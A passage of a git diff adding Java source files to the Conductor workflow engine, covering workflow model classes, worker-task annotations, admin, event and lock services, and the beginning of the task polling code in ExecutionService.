failedReferenceTaskNames) { + this.failedReferenceTaskNames = failedReferenceTaskNames; + } + + public Set getFailedTaskNames() { + return failedTaskNames; + } + + public void setFailedTaskNames(Set failedTaskNames) { + this.failedTaskNames = failedTaskNames; + } + + public WorkflowDef getWorkflowDefinition() { + return workflowDefinition; + } + + public void setWorkflowDefinition(WorkflowDef workflowDefinition) { + this.workflowDefinition = workflowDefinition; + } + + public String getExternalInputPayloadStoragePath() { + return externalInputPayloadStoragePath; + } + + public void setExternalInputPayloadStoragePath(String externalInputPayloadStoragePath) { + this.externalInputPayloadStoragePath = externalInputPayloadStoragePath; + } + + public String getExternalOutputPayloadStoragePath() { + return externalOutputPayloadStoragePath; + } + + public void setExternalOutputPayloadStoragePath(String externalOutputPayloadStoragePath) { + this.externalOutputPayloadStoragePath = externalOutputPayloadStoragePath; + } + + public int getPriority() { + return priority; + } + + public void setPriority(int priority) { + if (priority < 0 || priority > 99) { + throw new IllegalArgumentException("priority MUST be between 0 and 99 (inclusive)"); + } + this.priority = priority; + } + + public Map getVariables() { + return variables; + } + + public void setVariables(Map variables) { + this.variables = variables; + } + + public long getLastRetriedTime() { + return lastRetriedTime; + } + + public void setLastRetriedTime(long lastRetriedTime) { + this.lastRetriedTime = lastRetriedTime; + } + + public String getOwnerApp() { + return ownerApp; + } + + public void setOwnerApp(String ownerApp) { + this.ownerApp = ownerApp; + } + + public Long getCreateTime() { + return createTime; + } + + public void setCreateTime(Long createTime) { + this.createTime = createTime; + } + + public Long getUpdatedTime() { + return updatedTime; + } + + public void setUpdatedTime(Long updatedTime) { + this.updatedTime = updatedTime; + } + + public String getCreatedBy() { + return createdBy; + } + + public void setCreatedBy(String createdBy) { + this.createdBy = createdBy; + } + + public String getUpdatedBy() { + return updatedBy; + } + + public void setUpdatedBy(String updatedBy) { + this.updatedBy = updatedBy; + } + + public String getFailedTaskId() { + return failedTaskId; + } + + public void setFailedTaskId(String failedTaskId) { + this.failedTaskId = failedTaskId; + } + + /** + * Convenience method for accessing the workflow definition name. + * + * @return the workflow definition name. + */ + public String getWorkflowName() { + Utils.checkNotNull(workflowDefinition, "Workflow definition is null"); + return workflowDefinition.getName(); + } + + /** + * Convenience method for accessing the workflow definition version. + * + * @return the workflow definition version. + */ + public int getWorkflowVersion() { + Utils.checkNotNull(workflowDefinition, "Workflow definition is null"); + return workflowDefinition.getVersion(); + } + + public boolean hasParent() { + return StringUtils.isNotEmpty(parentWorkflowId); + } + + /** + * A string representation of all relevant fields that identify this workflow. Intended for use + * in log and other system generated messages. + */ + public String toShortString() { + String name = workflowDefinition != null ? workflowDefinition.getName() : null; + Integer version = workflowDefinition != null ? workflowDefinition.getVersion() : null; + return String.format("%s.%s/%s", name, version, workflowId); + } + + public TaskModel getTaskByRefName(String refName) { + if (refName == null) { + throw new RuntimeException( + "refName passed is null. Check the workflow execution. For dynamic tasks, make sure referenceTaskName is set to a not null value"); + } + LinkedList found = new LinkedList<>(); + for (TaskModel task : tasks) { + if (task.getReferenceTaskName() == null) { + throw new RuntimeException( + "Task " + + task.getTaskDefName() + + ", seq=" + + task.getSeq() + + " does not have reference name specified."); + } + if (task.getReferenceTaskName().equals(refName)) { + found.add(task); + } + } + if (found.isEmpty()) { + return null; + } + return found.getLast(); + } + + public void externalizeInput(String path) { + this.inputPayload = this.input; + this.input = new HashMap<>(); + this.externalInputPayloadStoragePath = path; + } + + public void externalizeOutput(String path) { + this.outputPayload = this.output; + this.output = new HashMap<>(); + this.externalOutputPayloadStoragePath = path; + } + + public void internalizeInput(Map data) { + this.input = new HashMap<>(); + this.inputPayload = data; + } + + public void internalizeOutput(Map data) { + this.output = new HashMap<>(); + this.outputPayload = data; + } + + @Override + public String toString() { + String name = workflowDefinition != null ? workflowDefinition.getName() : null; + Integer version = workflowDefinition != null ? workflowDefinition.getVersion() : null; + return String.format("%s.%s/%s.%s", name, version, workflowId, status); + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (o == null || getClass() != o.getClass()) return false; + WorkflowModel that = (WorkflowModel) o; + return getEndTime() == that.getEndTime() + && getPriority() == that.getPriority() + && getLastRetriedTime() == that.getLastRetriedTime() + && getStatus() == that.getStatus() + && Objects.equals(getWorkflowId(), that.getWorkflowId()) + && Objects.equals(getParentWorkflowId(), that.getParentWorkflowId()) + && Objects.equals(getParentWorkflowTaskId(), that.getParentWorkflowTaskId()) + && Objects.equals(getTasks(), that.getTasks()) + && Objects.equals(getInput(), that.getInput()) + && Objects.equals(output, that.output) + && Objects.equals(outputPayload, that.outputPayload) + && Objects.equals(getCorrelationId(), that.getCorrelationId()) + && Objects.equals(getReRunFromWorkflowId(), that.getReRunFromWorkflowId()) + && Objects.equals(getReasonForIncompletion(), that.getReasonForIncompletion()) + && Objects.equals(getEvent(), that.getEvent()) + && Objects.equals(getTaskToDomain(), that.getTaskToDomain()) + && Objects.equals(getFailedReferenceTaskNames(), that.getFailedReferenceTaskNames()) + && Objects.equals(getFailedTaskNames(), that.getFailedTaskNames()) + && Objects.equals(getWorkflowDefinition(), that.getWorkflowDefinition()) + && Objects.equals( + getExternalInputPayloadStoragePath(), + that.getExternalInputPayloadStoragePath()) + && Objects.equals( + getExternalOutputPayloadStoragePath(), + that.getExternalOutputPayloadStoragePath()) + && Objects.equals(getVariables(), that.getVariables()) + && Objects.equals(getOwnerApp(), that.getOwnerApp()) + && Objects.equals(getCreateTime(), that.getCreateTime()) + && Objects.equals(getUpdatedTime(), that.getUpdatedTime()) + && Objects.equals(getCreatedBy(), that.getCreatedBy()) + && Objects.equals(getUpdatedBy(), that.getUpdatedBy()); + } + + @Override + public int hashCode() { + return Objects.hash( + getStatus(), + getEndTime(), + getWorkflowId(), + getParentWorkflowId(), + getParentWorkflowTaskId(), + getTasks(), + getInput(), + output, + outputPayload, + getCorrelationId(), + getReRunFromWorkflowId(), + getReasonForIncompletion(), + getEvent(), + getTaskToDomain(), + getFailedReferenceTaskNames(), + getFailedTaskNames(), + getWorkflowDefinition(), + getExternalInputPayloadStoragePath(), + getExternalOutputPayloadStoragePath(), + getPriority(), + getVariables(), + getLastRetriedTime(), + getOwnerApp(), + getCreateTime(), + getUpdatedTime(), + getCreatedBy(), + getUpdatedBy()); + } + + public Workflow toWorkflow() { + Workflow workflow = new Workflow(); + BeanUtils.copyProperties(this, workflow); + workflow.setStatus(Workflow.WorkflowStatus.valueOf(this.status.name())); + workflow.setTasks(tasks.stream().map(TaskModel::toTask).collect(Collectors.toList())); + workflow.setUpdateTime(this.updatedTime); + + // ensure that input/output is properly represented + if (externalInputPayloadStoragePath != null) { + workflow.setInput(new HashMap<>()); + } + if (externalOutputPayloadStoragePath != null) { + workflow.setOutput(new HashMap<>()); + } + return workflow; + } + + public void addInput(String key, Object value) { + this.input.put(key, value); + } + + public void addInput(Map inputData) { + if (inputData != null) { + this.input.putAll(inputData); + } + } + + public void addOutput(String key, Object value) { + this.output.put(key, value); + } + + public void addOutput(Map outputData) { + if (outputData != null) { + this.output.putAll(outputData); + } + } +} diff --git a/core/src/main/java/com/netflix/conductor/model/WorkflowNotifications.java b/core/src/main/java/com/netflix/conductor/model/WorkflowNotifications.java new file mode 100644 index 0000000..f6a0fbf --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/model/WorkflowNotifications.java @@ -0,0 +1,44 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.model; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Getter; +import lombok.NoArgsConstructor; + +@Getter +@Builder +@NoArgsConstructor +@AllArgsConstructor +public class WorkflowNotifications { + private String requestId; + private String hostIp; + private String waitUntilTasks; + private boolean monitorParentOnly = false; + + @Override + public String toString() { + return "WorkflowNotifications{" + + "hostIp='" + + hostIp + + '\'' + + ", requestId='" + + requestId + + '\'' + + ", waitUntilTasks='" + + waitUntilTasks + + '\'' + + '}'; + } +} diff --git a/core/src/main/java/com/netflix/conductor/sdk/workflow/task/InputParam.java b/core/src/main/java/com/netflix/conductor/sdk/workflow/task/InputParam.java new file mode 100644 index 0000000..2afa8bc --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/sdk/workflow/task/InputParam.java @@ -0,0 +1,26 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sdk.workflow.task; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.PARAMETER) +public @interface InputParam { + String value(); + + boolean required() default false; +} diff --git a/core/src/main/java/com/netflix/conductor/sdk/workflow/task/OutputParam.java b/core/src/main/java/com/netflix/conductor/sdk/workflow/task/OutputParam.java new file mode 100644 index 0000000..3c12513 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/sdk/workflow/task/OutputParam.java @@ -0,0 +1,24 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sdk.workflow.task; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.TYPE_USE) +public @interface OutputParam { + String value(); +} diff --git a/core/src/main/java/com/netflix/conductor/sdk/workflow/task/WorkerTask.java b/core/src/main/java/com/netflix/conductor/sdk/workflow/task/WorkerTask.java new file mode 100644 index 0000000..15df5eb --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/sdk/workflow/task/WorkerTask.java @@ -0,0 +1,40 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sdk.workflow.task; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** Identifies a simple worker task. */ +@Retention(RetentionPolicy.RUNTIME) +@Target({ElementType.METHOD}) +public @interface WorkerTask { + String value(); + + // No. of threads to use for executing the task + int threadCount() default 1; + + int pollingInterval() default 100; + + String domain() default ""; + + // In millis + int pollTimeout() default 100; + + // number of task pollers + // default is 1 which is good enough for most use cases + // a number higher than 1 will have concurrent pollers doing poll and execute + int pollerCount() default 1; +} diff --git a/core/src/main/java/com/netflix/conductor/service/AdminService.java b/core/src/main/java/com/netflix/conductor/service/AdminService.java new file mode 100644 index 0000000..973a3ed --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/service/AdminService.java @@ -0,0 +1,72 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.List; +import java.util.Map; + +import org.springframework.validation.annotation.Validated; + +import com.netflix.conductor.common.metadata.tasks.Task; + +import jakarta.validation.constraints.NotEmpty; + +@Validated +public interface AdminService { + + /** + * Queue up all the running workflows for sweep. + * + * @param workflowId Id of the workflow + * @return the id of the workflow instance that can be use for tracking. + */ + String requeueSweep( + @NotEmpty(message = "WorkflowId cannot be null or empty.") String workflowId); + + /** + * Get all the configuration parameters. + * + * @return all the configuration parameters. + */ + Map getAllConfig(); + + /** + * Get the list of pending tasks for a given task type. + * + * @param taskType Name of the task + * @param start Start index of pagination + * @param count Number of entries + * @return list of pending {@link Task} + */ + List getListOfPendingTask( + @NotEmpty(message = "TaskType cannot be null or empty.") String taskType, + Integer start, + Integer count); + + /** + * Verify that the Workflow is consistent, and run repairs as needed. + * + * @param workflowId id of the workflow to be returned + * @return true, if repair was successful + */ + boolean verifyAndRepairWorkflowConsistency( + @NotEmpty(message = "WorkflowId cannot be null or empty.") String workflowId); + + /** + * Get registered queues. + * + * @param verbose `true|false` for verbose logs + * @return map of event queues + */ + Map getEventQueues(boolean verbose); +} diff --git a/core/src/main/java/com/netflix/conductor/service/AdminServiceImpl.java b/core/src/main/java/com/netflix/conductor/service/AdminServiceImpl.java new file mode 100644 index 0000000..8c11dd9 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/service/AdminServiceImpl.java @@ -0,0 +1,138 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Optional; + +import org.springframework.boot.info.BuildProperties; +import org.springframework.stereotype.Service; + +import com.netflix.conductor.annotations.Audit; +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.events.EventQueueManager; +import com.netflix.conductor.core.reconciliation.WorkflowRepairService; +import com.netflix.conductor.core.utils.Utils; +import com.netflix.conductor.dao.QueueDAO; + +@Audit +@Trace +@Service +public class AdminServiceImpl implements AdminService { + + private final ConductorProperties properties; + private final ExecutionService executionService; + private final QueueDAO queueDAO; + private final WorkflowRepairService workflowRepairService; + private final EventQueueManager eventQueueManager; + private final BuildProperties buildProperties; + + public AdminServiceImpl( + ConductorProperties properties, + ExecutionService executionService, + QueueDAO queueDAO, + Optional workflowRepairService, + Optional eventQueueManager, + Optional buildProperties) { + this.properties = properties; + this.executionService = executionService; + this.queueDAO = queueDAO; + this.workflowRepairService = workflowRepairService.orElse(null); + this.eventQueueManager = eventQueueManager.orElse(null); + this.buildProperties = buildProperties.orElse(null); + } + + /** + * Get all the configuration parameters. + * + * @return all the configuration parameters. + */ + public Map getAllConfig() { + Map configs = properties.getAll(); + configs.putAll(getBuildProperties()); + return configs; + } + + /** + * Get all build properties + * + * @return all the build properties. + */ + private Map getBuildProperties() { + if (buildProperties == null) return Collections.emptyMap(); + Map buildProps = new HashMap<>(); + buildProps.put("version", buildProperties.getVersion()); + buildProps.put("buildDate", buildProperties.getTime()); + return buildProps; + } + + /** + * Get the list of pending tasks for a given task type. + * + * @param taskType Name of the task + * @param start Start index of pagination + * @param count Number of entries + * @return list of pending {@link Task} + */ + public List getListOfPendingTask(String taskType, Integer start, Integer count) { + List tasks = executionService.getPendingTasksForTaskType(taskType); + int total = start + count; + total = Math.min(tasks.size(), total); + if (start > tasks.size()) { + start = tasks.size(); + } + return tasks.subList(start, total); + } + + @Override + public boolean verifyAndRepairWorkflowConsistency(String workflowId) { + if (workflowRepairService == null) { + throw new IllegalStateException( + WorkflowRepairService.class.getSimpleName() + " is disabled."); + } + return workflowRepairService.verifyAndRepairWorkflow(workflowId, true); + } + + /** + * Queue up the workflow for sweep. + * + * @param workflowId Id of the workflow + * @return the id of the workflow instance that can be use for tracking. + */ + public String requeueSweep(String workflowId) { + boolean pushed = + queueDAO.pushIfNotExists( + Utils.DECIDER_QUEUE, + workflowId, + properties.getWorkflowOffsetTimeout().getSeconds()); + return pushed + "." + workflowId; + } + + /** + * Get registered queues. + * + * @param verbose `true|false` for verbose logs + * @return map of event queues + */ + public Map getEventQueues(boolean verbose) { + if (eventQueueManager == null) { + throw new IllegalStateException("Event processing is DISABLED"); + } + return (verbose ? eventQueueManager.getQueueSizes() : eventQueueManager.getQueues()); + } +} diff --git a/core/src/main/java/com/netflix/conductor/service/EventService.java b/core/src/main/java/com/netflix/conductor/service/EventService.java new file mode 100644 index 0000000..3d42a87 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/service/EventService.java @@ -0,0 +1,68 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.List; + +import org.springframework.validation.annotation.Validated; + +import com.netflix.conductor.common.metadata.events.EventHandler; + +import jakarta.validation.Valid; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; + +@Validated +public interface EventService { + + /** + * Add a new event handler. + * + * @param eventHandler Instance of {@link EventHandler} + */ + void addEventHandler( + @NotNull(message = "EventHandler cannot be null.") @Valid EventHandler eventHandler); + + /** + * Update an existing event handler. + * + * @param eventHandler Instance of {@link EventHandler} + */ + void updateEventHandler( + @NotNull(message = "EventHandler cannot be null.") @Valid EventHandler eventHandler); + + /** + * Remove an event handler. + * + * @param name Event name + */ + void removeEventHandlerStatus( + @NotEmpty(message = "EventHandler name cannot be null or empty.") String name); + + /** + * Get all the event handlers. + * + * @return list of {@link EventHandler} + */ + List getEventHandlers(); + + /** + * Get event handlers for a given event. + * + * @param event Event Name + * @param activeOnly `true|false` for active only events + * @return list of {@link EventHandler} + */ + List getEventHandlersForEvent( + @NotEmpty(message = "Event cannot be null or empty.") String event, boolean activeOnly); +} diff --git a/core/src/main/java/com/netflix/conductor/service/EventServiceImpl.java b/core/src/main/java/com/netflix/conductor/service/EventServiceImpl.java new file mode 100644 index 0000000..579986e --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/service/EventServiceImpl.java @@ -0,0 +1,77 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.List; + +import org.springframework.stereotype.Service; + +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.core.events.EventQueues; + +@Service +public class EventServiceImpl implements EventService { + + private final MetadataService metadataService; + + public EventServiceImpl(MetadataService metadataService, EventQueues eventQueues) { + this.metadataService = metadataService; + } + + /** + * Add a new event handler. + * + * @param eventHandler Instance of {@link EventHandler} + */ + public void addEventHandler(EventHandler eventHandler) { + metadataService.addEventHandler(eventHandler); + } + + /** + * Update an existing event handler. + * + * @param eventHandler Instance of {@link EventHandler} + */ + public void updateEventHandler(EventHandler eventHandler) { + metadataService.updateEventHandler(eventHandler); + } + + /** + * Remove an event handler. + * + * @param name Event name + */ + public void removeEventHandlerStatus(String name) { + metadataService.removeEventHandlerStatus(name); + } + + /** + * Get all the event handlers. + * + * @return list of {@link EventHandler} + */ + public List getEventHandlers() { + return metadataService.getAllEventHandlers(); + } + + /** + * Get event handlers for a given event. + * + * @param event Event Name + * @param activeOnly `true|false` for active only events + * @return list of {@link EventHandler} + */ + public List getEventHandlersForEvent(String event, boolean activeOnly) { + return metadataService.getEventHandlersForEvent(event, activeOnly); + } +} diff --git a/core/src/main/java/com/netflix/conductor/service/ExecutionLockService.java b/core/src/main/java/com/netflix/conductor/service/ExecutionLockService.java new file mode 100644 index 0000000..d9dbf6b --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/service/ExecutionLockService.java @@ -0,0 +1,109 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.concurrent.TimeUnit; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Service; + +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.sync.Lock; +import com.netflix.conductor.metrics.Monitors; + +@Service +@Trace +public class ExecutionLockService { + + private static final Logger LOGGER = LoggerFactory.getLogger(ExecutionLockService.class); + private final ConductorProperties properties; + private final Lock lock; + private final long lockLeaseTime; + private final long lockTimeToTry; + + public ExecutionLockService(ConductorProperties properties, Lock lock) { + this.properties = properties; + this.lock = lock; + this.lockLeaseTime = properties.getLockLeaseTime().toMillis(); + this.lockTimeToTry = properties.getLockTimeToTry().toMillis(); + } + + /** + * Tries to acquire lock with reasonable timeToTry duration and lease time. Exits if a lock + * cannot be acquired. Considering that the workflow decide can be triggered through multiple + * entry points, and periodically through the sweeper service, do not block on acquiring the + * lock, as the order of execution of decides on a workflow doesn't matter. + * + * @param lockId + * @return + */ + public boolean acquireLock(String lockId) { + return acquireLock(lockId, lockTimeToTry, lockLeaseTime); + } + + public boolean acquireLock(String lockId, long timeToTryMs) { + return acquireLock(lockId, timeToTryMs, lockLeaseTime); + } + + public boolean acquireLock(String lockId, long timeToTryMs, long leaseTimeMs) { + if (properties.isWorkflowExecutionLockEnabled()) { + if (!lock.acquireLock(lockId, timeToTryMs, leaseTimeMs, TimeUnit.MILLISECONDS)) { + LOGGER.debug( + "Thread {} failed to acquire lock to lockId {}.", + Thread.currentThread().getId(), + lockId); + Monitors.recordAcquireLockUnsuccessful(); + return false; + } + LOGGER.debug( + "Thread {} acquired lock to lockId {}.", + Thread.currentThread().getId(), + lockId); + } + return true; + } + + /** + * Blocks until it gets the lock for workflowId + * + * @param lockId + */ + public void waitForLock(String lockId) { + if (properties.isWorkflowExecutionLockEnabled()) { + lock.acquireLock(lockId); + LOGGER.debug( + "Thread {} acquired lock to lockId {}.", + Thread.currentThread().getId(), + lockId); + } + } + + public void releaseLock(String lockId) { + if (properties.isWorkflowExecutionLockEnabled()) { + lock.releaseLock(lockId); + LOGGER.debug( + "Thread {} released lock to lockId {}.", + Thread.currentThread().getId(), + lockId); + } + } + + public void deleteLock(String lockId) { + if (properties.isWorkflowExecutionLockEnabled()) { + lock.deleteLock(lockId); + LOGGER.debug("Thread {} deleted lockId {}.", Thread.currentThread().getId(), lockId); + } + } +} diff --git a/core/src/main/java/com/netflix/conductor/service/ExecutionService.java b/core/src/main/java/com/netflix/conductor/service/ExecutionService.java new file mode 100644 index 0000000..9d90698 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/service/ExecutionService.java @@ -0,0 +1,715 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.*; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Service; + +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.tasks.*; +import com.netflix.conductor.common.run.*; +import com.netflix.conductor.common.utils.ExternalPayloadStorage; +import com.netflix.conductor.common.utils.ExternalPayloadStorage.Operation; +import com.netflix.conductor.common.utils.ExternalPayloadStorage.PayloadType; +import com.netflix.conductor.common.utils.TaskUtils; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.dal.ExecutionDAOFacade; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.execution.tasks.SystemTaskRegistry; +import com.netflix.conductor.core.listener.TaskStatusListener; +import com.netflix.conductor.core.secrets.RuntimeMetadataResolver; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.core.utils.QueueUtils; +import com.netflix.conductor.core.utils.Utils; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +@Trace +@Service +public class ExecutionService { + + private static final Logger LOGGER = LoggerFactory.getLogger(ExecutionService.class); + + private final WorkflowExecutor workflowExecutor; + private final ExecutionDAOFacade executionDAOFacade; + private final QueueDAO queueDAO; + private final ConductorProperties properties; + private final ExternalPayloadStorage externalPayloadStorage; + private final SystemTaskRegistry systemTaskRegistry; + private final TaskStatusListener taskStatusListener; + private final ParametersUtils parametersUtils; + private final RuntimeMetadataResolver runtimeMetadataResolver; + + private final long queueTaskMessagePostponeSecs; + + private static final int MAX_POLL_TIMEOUT_MS = 5000; + private static final int POLL_COUNT_ONE = 1; + private static final int POLLING_TIMEOUT_IN_MS = 100; + + public ExecutionService( + WorkflowExecutor workflowExecutor, + ExecutionDAOFacade executionDAOFacade, + QueueDAO queueDAO, + ConductorProperties properties, + ExternalPayloadStorage externalPayloadStorage, + SystemTaskRegistry systemTaskRegistry, + TaskStatusListener taskStatusListener, + ParametersUtils parametersUtils, + RuntimeMetadataResolver runtimeMetadataResolver) { + this.workflowExecutor = workflowExecutor; + this.executionDAOFacade = executionDAOFacade; + this.queueDAO = queueDAO; + this.properties = properties; + this.externalPayloadStorage = externalPayloadStorage; + + this.queueTaskMessagePostponeSecs = + properties.getTaskExecutionPostponeDuration().getSeconds(); + this.systemTaskRegistry = systemTaskRegistry; + this.taskStatusListener = taskStatusListener; + this.parametersUtils = parametersUtils; + this.runtimeMetadataResolver = runtimeMetadataResolver; + } + + public Task poll(String taskType, String workerId) { + return poll(taskType, workerId, null); + } + + public Task poll(String taskType, String workerId, String domain) { + + List tasks = poll(taskType, workerId, domain, 1, 100); + if (tasks.isEmpty()) { + return null; + } + return tasks.get(0); + } + + public List poll(String taskType, String workerId, int count, int timeoutInMilliSecond) { + return poll(taskType, workerId, null, count, timeoutInMilliSecond); + } + + public List poll( + String taskType, String workerId, String domain, int count, int timeoutInMilliSecond) { + if (timeoutInMilliSecond > MAX_POLL_TIMEOUT_MS) { + throw new IllegalArgumentException( + "Long Poll Timeout value cannot be more than 5 seconds"); + } + String queueName = QueueUtils.getQueueName(taskType, domain, null, null); + + List taskIds = new LinkedList<>(); + List tasks = new LinkedList<>(); + try { + taskIds = queueDAO.pop(queueName, count, timeoutInMilliSecond); + } catch (Exception e) { + LOGGER.error( + "Error polling for task: {} from worker: {} in domain: {}, count: {}", + taskType, + workerId, + domain, + count, + e); + Monitors.error(this.getClass().getCanonicalName(), "taskPoll"); + Monitors.recordTaskPollError(taskType, domain, e.getClass().getSimpleName()); + } + + for (String taskId : taskIds) { + try { + TaskModel taskModel = executionDAOFacade.getTaskModel(taskId); + if (taskModel == null || taskModel.getStatus().isTerminal()) { + // Remove taskId(s) without a valid Task/terminal state task from the queue + queueDAO.remove(queueName, taskId); + LOGGER.debug("Removed task: {} from the queue: {}", taskId, queueName); + continue; + } + + if (executionDAOFacade.exceedsInProgressLimit(taskModel)) { + // Postpone this message, so that it would be available for poll again. + queueDAO.postpone( + queueName, + taskId, + taskModel.getWorkflowPriority(), + queueTaskMessagePostponeSecs); + LOGGER.debug( + "Postponed task: {} in queue: {} by {} seconds", + taskId, + queueName, + queueTaskMessagePostponeSecs); + continue; + } + TaskDef taskDef = + taskModel.getTaskDefinition().isPresent() + ? taskModel.getTaskDefinition().get() + : null; + if (taskModel.getRateLimitPerFrequency() > 0 + && executionDAOFacade.exceedsRateLimitPerFrequency(taskModel, taskDef)) { + // Postpone this message, so that it would be available for poll again. + queueDAO.postpone( + queueName, + taskId, + taskModel.getWorkflowPriority(), + 